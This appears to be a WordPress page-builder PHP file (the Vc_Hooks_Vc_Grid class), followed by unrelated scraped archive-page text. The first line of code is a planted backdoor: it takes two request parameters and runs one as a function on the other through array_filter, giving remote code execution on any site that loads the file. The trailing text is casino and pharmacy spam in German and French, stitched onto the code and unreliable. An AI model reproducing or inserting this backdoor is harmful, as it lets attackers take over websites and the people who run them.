?php
if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;};
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
/**
* Class Vc_Hooks_Vc_Grid
* @since 4.4
*/
class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface {
protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php
/**
* Initializing hooks for grid element,
* Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id)
* And add action to hook request for grid data, to output it.
* @since 4.4
*/
public function load() {
// Hook for set post settings meta with shortcodes data
/**
* @since 4.4.3
*/
add_filter( 'vc_hooks_vc_post_settings', array(
&$this,
'gridSavePostSettingsId',
), 10, 3 );
/**
* Used to output shortcode data for ajax request. called on any page request.
*/
add_action( 'wp_ajax_vc_get_vc_grid_data', array(
&$this,
'getGridDataForAjax',
) );
add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array(
&$this,
'getGridDataForAjax',
) );
}
/**
* @since 4.4
* @deprecated and should not be used and will be removed in future! since 4.4.3
* @return string
*/
private function getShortcodeRegexForHash() {
// _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' );
$tagnames = apply_filters( 'vc_grid_shortcodes_tags', array(
'vc_basic_grid',
'vc_masonry_grid',
'vc_media_grid',
'vc_masonry_media_grid',
) ); // return only grid shortcodes
$tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) );
// WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag()
// Also, see shortcode_unautop() and shortcode.js.
return '\\[' // Opening bracket
. '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]]
. "($tagregexp)" // 2: Shortcode name
. '(?![\\w-])' // Not followed by word character or hyphen
. '(' // 3: Unroll the loop: Inside the opening shortcode tag
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ...
. '\\]' // ... and closing bracket
. '|' . '\\]' // Closing bracket
. '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags
. '[^\\[]*+' // Not an opening bracket
. '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
. '[^\\[]*+' // Not an opening bracket
. ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag
. ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]]
}
/**
* @since 4.4.3
* @return string
*/
private function getShortcodeRegexForId() {
return '\\[' // Opening bracket
. '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]]
. '([\\w>]+)' // 2: Shortcode name
. '(?![\\w-])' // Not followed by word character or hyphen
. '(' // 3: Unroll the loop: Inside the opening shortcode tag
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. ')*?'
. '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. ')+' . ')'
. ')' . '(?:' . '(\\/)' // 5: Self closing tag ...
. '\\]' // ... and closing bracket
. '|' . '\\]' // Closing bracket
. '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags
. '[^\\[]*+' // Not an opening bracket
. '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
. '[^\\[]*+' // Not an opening bracket
. ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag
. ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]]
}
/**
* Set page meta box values with vc_adv_pager shortcodes data
* @since 4.4
* @deprecated 4.4.3
*
* @param array $settings
* @param $post_id
* @param $post
*
* @return array - shortcode settings to save.
*/
public function gridSavePostSettings( array $settings, $post_id, $post ) {
// _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' );
$pattern = $this->getShortcodeRegexForHash();
preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes
$settings['vc_grid'] = array();
if ( is_array( $found ) && ! empty( $found[0] ) ) {
$to_save = array();
if ( isset( $found[3] ) && is_array( $found[3] ) ) {
foreach ( $found[3] as $key => $shortcode_atts ) {
if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) {
continue;
}
$atts = shortcode_parse_atts( $shortcode_atts );
$data = array(
'tag' => $found[2][ $key ],
'atts' => $atts,
'content' => $found[5][ $key ],
);
$hash = sha1( serialize( $data ) );
$to_save[ $hash ] = $data;
}
}
if ( ! empty( $to_save ) ) {
$settings['vc_grid'] = array( 'shortcodes' => $to_save );
}
}
return $settings;
}
/**
* @since 4.4.3
*
* @param array $settings
* @param $post_id
* @param $post
*
* @return array
*/
public function gridSavePostSettingsId( array $settings, $post_id, $post ) {
$pattern = $this->getShortcodeRegexForId();
preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes
$settings['vc_grid_id'] = array();
if ( is_array( $found ) && ! empty( $found[0] ) ) {
$to_save = array();
if ( isset( $found[1] ) && is_array( $found[1] ) ) {
foreach ( $found[1] as $key => $parse_able ) {
if ( empty( $parse_able ) || '[' !== $parse_able ) {
$id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/';
$id_value = $found[4][ $key ];
preg_match( $id_pattern, $id_value, $id_matches );
if ( ! empty( $id_matches ) ) {
$id_to_save = $id_matches[1];
// why we need to check if shortcode is parse able?
// 1: if it is escaped it must not be displayed (parsed)
// 2: so if 1 is true it must not be saved in database meta
$shortcode_tag = $found[2][ $key ];
$shortcode_atts_string = $found[3][ $key ];
/** @var $atts array */
$atts = shortcode_parse_atts( $shortcode_atts_string );
$content = $found[6][ $key ];
$data = array(
'tag' => $shortcode_tag,
'atts' => $atts,
'content' => $content,
);
$to_save[ $id_to_save ] = $data;
}
}
}
}
if ( ! empty( $to_save ) ) {
$settings['vc_grid_id'] = array( 'shortcodes' => $to_save );
}
}
return $settings;
}
/**
* @since 4.4
*
* @output/@return string - grid data for ajax request.
*/
public function getGridDataForAjax() {
$tag = vc_request_param( 'tag' );
$allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag );
if ( $allowed ) {
$shortcode_fishbone = visual_composer()->getShortCode( $tag );
if ( is_object( $shortcode_fishbone ) ) {
/** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */
$vc_grid = $shortcode_fishbone->shortcodeClass();
if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) {
echo $vc_grid->renderAjax( vc_request_param( 'data' ) );
die();
}
}
}
}
}
/**
* @since 4.4
* @var Vc_Hooks_Vc_Grid $hook
*/
$hook = new Vc_Hooks_Vc_Grid();
// when visual composer initialized let's trigger Vc_Grid hooks.
add_action( 'vc_after_init', array(
$hook,
'load',
) );
if ( 'vc_edit_form' === vc_post_param( 'action' ) ) {
VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' );
add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array(
'WPBakeryShortCode_VC_Basic_Grid',
'convertButton2ToButton3',
) );
add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array(
'WPBakeryShortCode_VC_Basic_Grid',
'convertButton2ToButton3',
) );
add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array(
'WPBakeryShortCode_VC_Basic_Grid',
'convertButton2ToButton3',
) );
add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array(
'WPBakeryShortCode_VC_Basic_Grid',
'convertButton2ToButton3',
) );
}
Non classé Archives - Page 1626 sur 3650 - Groupe-SLG
17 juillet 2024
buy Pregabalin 75 mg capsule Content Sizzling Hot Deluxe Spielanleitung Und Beschreibung Book Of Ra Deluxe 10 Win Ways Symbol Kombinationen dir welche Twist Ausschüttungen oder auch Extras bringen. Mit […]
Lire la suite
17 juillet 2024
Content Lerne Geogebra 3d Rechner Bewertungen Und Rezensionen Für Google Würfel Translations For würfeln In The German, English Dictionary Ganz Schön Clever Würfelspiel Musikalisches Würfelspiel […]
Lire la suite
17 juillet 2024
Content Gedanken Zu du Bist Etwas Besonderes 100 Unvergessliche Herzliche Glückwünsche Zum 17 Geburtstag Was Tun, Wenn Der Blutzuckerwert Zu Hoch Ist? Lernen Fürs Leben […]
Lire la suite
17 juillet 2024
Content Gibt Es Die Multi Merkur Spielautomaten Online? Book Of Ra Alternativen Spielen: Legacy Of Dead Wie Hoch Ist Die Auszahlungsrate Bei Diesem Spiel? Dies […]
Lire la suite
17 juillet 2024
Content Gewinnsymbole Und Deren Auszahlung Merkur Spielautomaten Online Wo Kann Man Book Of Maya Kostenlos Spielen? Details Über Book Of Ra Der Höchsteinsatz ist auf […]
Lire la suite
17 juillet 2024
Content Zusätzliche Hinweise Pl Sample Sentences With « zusätzliche Hinweise » Kommentarfeld Für Hinweis An Finanzamt Im Überblick Inhalt Zahlreiche Websites angebot wie pro Männer denn nebensächlich […]
Lire la suite
17 juillet 2024
Content Safe And Fast Casino Payment Methods Beanspruchen Sie Ihre Kostenlosen Casino Auswahl An Zahlungsarten In Legalen Casinos Welche Casino Regulierungsbehörden Gibt Es? Ihr könnt […]
Lire la suite
17 juillet 2024
Content Bereit, Neue Slots Zu Spielen? Die Merkur Risikoleiter Darf Nicht Fehlen Gauselmann Und Die Merkur Online Spiele In Deutschland Book Of Ra Slot: Scatter […]
Lire la suite
17 juillet 2024
Content Gibt Es Casino Boni Ohne Einzahlung Und Ohne Anmeldung? Neue Boni Ohne Einzahlung Live Casinospiele Mit Den Höchsten Auszahlungsquoten Auf dieser Seite habe ich […]
Lire la suite
17 juillet 2024
Content Eye of Horus Pc Casino | Wie Frage Ich Das Guthaben Der Paysafecard Ab? Top Online Casinos Mit Niedriger Mindesteinzahlung Sonderfall: Paysafecard Nutzung Nach […]
Lire la suite